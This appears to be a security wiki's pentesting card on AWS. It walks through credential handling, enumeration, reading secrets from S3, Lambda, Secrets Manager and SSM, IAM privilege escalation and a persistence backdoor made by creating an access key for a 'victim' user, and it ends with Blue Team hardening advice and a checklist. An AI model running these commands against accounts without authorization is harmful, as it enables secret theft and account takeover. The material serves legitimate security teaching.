AWS Pentesting
AWS is the most widespread cloud provider, and its pentest revolves around credentials and IAM permissions (see IAM Abuse and Privilege Escalation) plus specific misconfigured services. This card walks the AWS-specific flow: from getting credentials and enumerating, to exploiting the most common services (EC2, S3, Lambda, IAM) and escalating to account control.
Threat model
Section titled “Threat model”In AWS the asset is always a credential with permissions. The attacker gets in with a key (leaked, stolen via SSRF, or from a compromised host), figures out which role/user it belongs to and what it allows, and chains permissions up to account control or data access. The hot spots: unrotated long-lived keys, instance roles with excess permissions, open S3 buckets, secrets in Lambda environment variables, and IAM policies with wildcards.
flowchart LR
A[AWS credential] --> B[sts get-caller-identity]
B --> C{Which permissions?}
C -->|enumerate-iam / Pacu| D[Accessible services]
D --> E[EC2/IMDS]
D --> F[S3]
D --> G[Lambda/Secrets]
E --> H[IAM: escalation permissions]
F --> H
G --> H
H --> I[AdministratorAccess / data]
Theory: AWS credentials
Section titled “Theory: AWS credentials”Two main Access Key ID formats:
AKIA...— long-lived key of an IAM user.ASIA...— temporary key (requiresAWS_SESSION_TOKEN), issued by STS, roles, or the IMDS.
aws configure # interactive (long-lived keys)# temporary credentials (from role / IMDS / STS)export AWS_ACCESS_KEY_ID=ASIA... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=...Where they come from: leaked (see Source Code OSINT), stolen via SSRF→IMDS (see Metadata Service (IMDS)), from buckets, or from a compromised host (~/.aws/credentials).
Red Team
Section titled “Red Team”Initial enumeration
Section titled “Initial enumeration”aws sts get-caller-identity # who am I? (ARN, Account ID)aws iam list-users ; aws iam list-roles # if allowedenumerate-iam --access-key AKIA... --secret-key ... # what permissions I really have# full posture auditscout suite aws ; prowler awspacu # exploitation framework (enum + exploit)aws ec2 describe-instances # instances, IPs, security groupsaws ec2 describe-security-groups # rules (0.0.0.0/0?)# public or shared snapshots/AMIs -> dataaws ec2 describe-snapshots --owner-ids <account-id>aws ec2 describe-images --owners <account-id>If there’s SSRF or RCE in an app on the instance, steal the role’s credentials via IMDS (see Metadata Service (IMDS)).
aws s3 ls # account bucketsaws s3 ls s3://<bucket> # contentsaws s3 sync s3://<bucket> ./loot --no-sign-request # anonymous accessLambda
Section titled “Lambda”aws lambda list-functions # functionsaws lambda get-function --function-name X # code and download URLaws lambda get-function-configuration --function-name X # environment variables (secrets!)Secrets Manager / SSM / RDS
Section titled “Secrets Manager / SSM / RDS”aws secretsmanager list-secretsaws secretsmanager get-secret-value --secret-id <arn>aws ssm get-parameters-by-path --path / --recursive --with-decryption # SecureStringaws rds describe-db-snapshots --include-public # public RDS snapshotsIAM: escalation
Section titled “IAM: escalation”Look for escalation permissions (iam:AttachUserPolicy, iam:PassRole, iam:CreateAccessKey…) and chain them up to admin. The details and the ~20 classic paths are in IAM Abuse and Privilege Escalation. With Pacu:
# inside Pacurun iam__enum_permissionsrun iam__privesc_scanPersistence (authorized engagements only)
Section titled “Persistence (authorized engagements only)”# create an access key for an existing user (silent backdoor)aws iam create-access-key --user-name victim# other paths: new user/role, modified trust policy (AssumeRole), event-triggered LambdaBlue Team
Section titled “Blue Team”- Least-privilege IAM + IAM Access Analyzer; no static keys (roles, IAM Identity Center).
- IMDSv2 enforced (
HttpTokens: required, hop limit 1); security groups without unnecessary0.0.0.0/0; S3 Block Public Access at account level. - CloudTrail in all regions + GuardDuty (detects credential theft, mining, exfiltration); AWS Config / Security Hub (posture).
- Secrets Manager / SSM SecureString for secrets (not in environment variables/code); KMS encryption.
- SCPs (Organizations) to cap the maximum scope; MFA mandatory for privileged users; alerts on
CreateAccessKey,AttachUserPolicy,PassRole.
Checklist
Section titled “Checklist”- Obtain and configure credentials (AKIA/ASIA)
-
sts get-caller-identity+enumerate-iam - ScoutSuite/Prowler for overall posture
- EC2: security groups, IMDS, public snapshots/AMIs
- S3: public/writable/secret-holding buckets (Buckets and Public Storage)
- Lambda: code and environment variables (secrets)
- Secrets Manager/SSM/RDS: secrets and public snapshots
- IAM: escalation permissions → admin (IAM Abuse and Privilege Escalation)